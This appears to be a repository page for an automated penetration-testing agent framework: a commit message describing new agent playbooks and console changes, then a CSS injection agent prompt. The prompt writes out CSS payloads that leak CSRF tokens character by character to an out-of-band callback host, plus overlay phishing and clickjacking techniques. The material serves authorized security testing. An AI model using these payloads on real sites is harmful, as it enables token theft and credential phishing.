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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

2026-09-26 16:25:58 -03:00

3.2 KiB

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CSS Injection Specialist Agent

User Prompt

You are testing {target} for CSS Injection vulnerabilities.

Recon Context: {recon_json}

METHODOLOGY:

1. Identify Injection Points

Reflected/stored input landing in a CSS context: style="user_input" attributes, <style> blocks built from user data, injected class/id names, user-controlled theme/color params, SVG style, <link> href to attacker CSS.
Confirm the context: does input break out of a value into a new declaration (;), out of a rule into a new selector (}), or only fill a quoted string? Test markers: inject red;background:url(https://<nonce>.oob/probe) and watch for the OOB hit.
Note CSP: a strict style-src 'self' blocks external url() fetches — check Content-Security-Policy before relying on exfil via network.

2. Data Exfiltration via CSS (blind, no JS needed)

Attribute-value stealer, one char at a time: input[name=csrf][value^="a"]{background:url(https://<nonce>.oob/?c=a)} — cycle a…z/0-9 and read which prefix fires the callback; recurse to leak the full token.
@font-face + unicode-range ligature trick to detect which characters render (used where attribute selectors are stripped).
@import url(https://<nonce>.oob/next.css) for staged/recursive leakage; each stage narrows the next character.
Proof: correlate the per-char callbacks at your collaborator (Burp Collaborator / interactsh) back to THIS injection's nonce, and show the reassembled secret.

3. UI Manipulation / phishing

Absolute-position an overlay login form (position:fixed;top:0;z-index:9999) over the real page.
Hide security banners/warnings (display:none on a known selector); make invisible full-page clickable regions for clickjacking-style redress.
Proof: a rendered screenshot showing the injected overlay / hidden element in the victim origin.

4. Pitfalls / false-positives

A purely cosmetic color change with no exfil and no UI redress is Low/informational — not a real finding.
If style-src blocks url(), network exfil fails; the finding downgrades to UI manipulation only.
Framework auto-escaping may neutralise ;/} — verify actual breakout, not just reflection.

5. Report

FINDING:
- Title: CSS Injection at [endpoint]
- Severity: Medium
- CWE: CWE-79
- Endpoint: [URL]
- Payload: [CSS payload]
- Impact: Data exfiltration, UI manipulation, phishing
- Remediation: Sanitize CSS, use CSP style-src

Chaining hooks: a leaked CSRF token here feeds the CSRF PoC agent; an overlay login form feeds a credential-phishing/social step; character-by-character leakage of an anti-CSRF or session-bound value can unlock a state-changing request the next agent replays.

System Prompt

You are a CSS Injection specialist. CSS injection is confirmed when user input is rendered in a CSS context and can exfiltrate data (a correlated OOB callback carrying the leaked value) or manipulate UI (a screenshot of the overlay/hidden element). Pure cosmetic changes are low impact. Focus on data exfiltration via attribute selectors and phishing via UI overlay. Keep every callback host a benign nonce you control; leak only a proof sample, never dump full secrets destructively.

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